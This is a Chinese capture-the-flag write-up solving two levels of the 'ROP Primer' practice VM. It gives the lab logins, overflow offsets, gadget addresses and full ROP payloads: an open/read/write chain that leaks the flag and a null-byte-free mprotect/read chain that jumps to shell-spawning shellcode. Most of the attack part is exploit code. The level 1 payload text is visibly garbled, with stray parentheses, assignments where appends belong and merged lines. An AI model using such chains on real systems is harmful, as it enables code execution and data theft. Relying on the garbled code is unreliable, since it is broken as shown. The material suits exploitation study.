0x00简介
你好,我最近在复习关于Linux Pwn的事情。 偶然看到大人物的文章,就解决Rop Primer靶机中0级问题的流程进行了说明。 发现该靶机有一级和二级两个练习,以口渴的学习态度,研究了这两个练习。 我想和大家一起学习提高。
0x01 Rop高手:芋头式level1
0x00文件分析
首先根据主题提示,用level1账号和密码shodan登录目标机,查看文件flag和level1的相关信息。
level1是一个动态链接的32位程序,打开了NX保护。
在中直接运行level程序时,发现它呈现了error bind () ing。 ltrace查看后发现bind返回了-1,这表明地址绑定没有成功。
从本地端口和进程信息来看,8888端口始终处于监听状态,属于第2级用户。
nc以前推测此端口上正在运行第2级用户的第1级程序。
看看主题本身,通过对主题的描述,从程序的源代码中找到漏洞所在。 出现漏洞的原因是对char filename[32]执行了以下操作,而变量filesize由用户输入,从而导致溢出。
出题者提示通过level1二进制的open/read/write函数获得标志。 顺藤摸瓜,在这里思考处理流程是很自然的
偏移计算,溢出
运行open并打开标志文件
读取标志文件的内容
write导出标志
0x01 Rop的准备
计算溢出偏移,通过gdb调试计算偏移64字节
(注意:如果在ida中看到filename位于ebp0x3c的位置,则控制的eip偏移估计为0x3c 4=44字节,这是不准确的。 )
继续执行以下操作,首先找到level1 plt表中的open/read/write地址。
接下来,找到level1的标志字符串。
最后,收集第1级构件。
至此,rop准备完毕。 每个变量都包括:
open_addr=0x80486d0
read_addr=0x8048640
write_addr=0x8048700
flag_addr=0x8049128
pop3_ret_addr=0x08048ef6
pop2_ret_addr=0x08048ef7
buf_addr=0x0804a000
0x02布局payload取标志
open/read/write函数的执行流程如下。
open('flag ',0 ) ) ) ) ) ) ) ) ) )。
read(file_FD,buf_addr,0x80 ) ) ) ) ) ) )。
write(socket_FD,buf_addr,0x80 ) ) )。
做到这里,我有点困惑。 Unix/Linux的一个重要思想是所有的文件,这里的file_fd和socket_fd的数值是多少? 既然不知道,就追踪调试一下吧。 在此直接访问strace工具,从下图可以观察到file_descriptor的值为3,socket_descriptor的值为4。
然后,布局payload应如下所示:
#open('flag),0 ) ) ) ) ) ) ) ) ) ) ) )。
payload='A'*64
payload=P32(open_addr ) )。
payload=P32(pop2_ret_addr ) )。
payload=P32(flag_addr ) )。
payload=P32(0)
#read(file_FD,buf_addr,0x80 ) ) ) ) ) ) ) ) ) )。
payload=P32(read_addr ) )。
payload=P32(pop3_ret_addr ) )。
payload=P32(3) # file_fd
payload=P32(buf_addr ) )。
payload=P32(0x80 ) )。
#write(socket_FD,buf_addr,0x80 ) ) ) ) ) ) ) )。
payload=P32(write_addr ) ) ) ) ) ) ) ) ) ) ) payload=P32(write_addr ) ) ) ) ) ) ) ) ) payload ) ) ) ) 652 )
payload += "BBBB"
payload += p32(4) # socket_fd
payload += p32(buf_addr)
payload += p32(0x80)
最后,通过交互,成功拿到flag。
p = remote("192.168.88.135",8888)
p.recvuntil("> ")
p.sendline("store")
p.recvuntil("> ")
p.sendline(str(len(payload)+1))
p.recvuntil("> ")
p.sendline("payload")
p.recvuntil("> ")
p.sendline(payload)
print p.recvline()
0x02 Rop提高:no null byte 的 level2
0x00 文件分析
同理,以 level2 和 tryharder 登录靶机,
查看文件信息。level2 为静态链接文件,开了NX保护。
查看题目说明,显然 strcpy 操作会导致变量 name 溢出,gdb调试查看溢出偏移为 44 个字节。
此题需要注意的是,由于是 strcpy 函数,在拷贝时会以 0x00 字节为结束符。这就提示我们,当我们打入的 payload 中间含有 0x00 字符时,其后的 payload 则不会顺利拷贝,从而导致无法正常执行获取shell 。
解题思路:参考大佬的文章中解 level0 的mprotect和read相配合的思想。
修改数据段权限
读入精心构造的shell,
跳转到shell处执行。
注意,由于 0x00 的约束,level0直接调用函数的解题方式无法奏效,因此此题采用系统调用(int 0x80)的方式来实现第一步和第二步的操作。根据提示,我们可以通过 ropshell网站 来搜索二进制文件内我们所需的gadget。
0x01 sys_mprotect 修改 .data 权限
查看 sys_mprotect 信息
由此,我们要布局的 payload 应完成如下的功能
edx = 0x7
ecx = 0x40
ebx = 0x80ca000
eax = 0x7d
实现 edx=0x7 的思想:在栈上放 0xffffffff,而后 pop edx,再通过8次 inc edx即可。
网站查询到所需的gadget如下:
实现 edx=0x7 的payload布局如下:
payload1 += pack(0x0000a476) #pop edx ; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x00006da1) #inc edx; add al, 0x83; ret
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
实现 ecx=0x40 的思想同上即可。所需的gadget信息如下:
实现 ecx=0x40 的payload布局如下:
payload1 += pack(0x0000a49d)# pop ecx; pop ebx; ret
payload1 += p32(0xffffffff) # ecx
payload1 += p32(0x80ca001) # 0x804a000+1 -> ebx
payload1 += pack(0x000806db) #inc ecx; ret
payload1 += pack(0x000806db)
payload1 += pack(0x0004fd5a) #add ecx, ecx; ret
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
为实现ebx = 0x80ca000的操作,上述gadget已完成 0x80ca001 pop -> ebx ,只需再执行一次下面的gadget即可:
payload1 += pack(0x00007871) #dec ebx; ret
实现 eax=0x7d 同样可利用 pop ; inc ; dec 组合操作实现
payload1 += pack(0x000601d6) #pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x0002321e) #add eax, ecx; ret
payload1 += pack(0x0002321e)
payload1 += pack(0x000600c6) #dec eax; ret
payload1 += pack(0x000600c6)
至此,通过 int 0x80 即可实现 sys_mprotect 操作。
0x02 sys_read 实现读取 shellcode
整体流程同上,首先查看 sys_read 信息,
由此,我们要布局的 payload 应完成如下的功能
edx = 0x01010101 # not 0x00
ecx = 0x80ca000
ebx = 0
eax = 0x3
利用ropshell网站查询所需gadget,整体流程同 0x02章节,在此不再赘述。payload布局如下:
#2-1 edx
payload1 += p32(0x08052476) #pop edx ; ret
payload1 += p32(0x01010101)
#2-2 ecx
payload1 += pack(0x0000a49d) # pop ecx; pop ebx; ret
payload1 += p32(0x80ca001)
payload1 += p32(0xffffffff)
payload1 += pack(0x000008e9) # dec ecx; ret
#2-3 ebx
payload1 += pack(0x000806d1) # inc ebx; ret
#2-4 eax
payload1 += pack(0x000601d6) # pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x000222ef) # inc eax; ret
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)
payload1 += pack(0x0000aba0) # int 0x80; ret
0x03 跳转到shellcode 执行拿flag
上述两步执行完成后,读取shellcode存储在 0x80ca000 处,即 sys_read 执行完的 ecx 地址处,因此在 payload 的最后,加上如下gadget即可。
payload1 += pack(0x0005e42c) # jmp ecx
payload 保存到 payload.txt。
shellcode 直接通过 pwntools 的 asm(shellcraft.i386.linux.sh()) 直接生成,保存到shellcode.txt。
成功溢出获得shell,拿到flag.
0x04 结束语
对pwn靶机的练习,回顾了一下rop的几种操作。当然,复杂的情况还有很多,针对具体问题也要具体分析,但总之,掌握了其核心关键的知识要点,复杂的情况只要耐心细致地分析即可。以后会继续给大家带来。
祝大家学习工作顺利,盼和大家共同进步。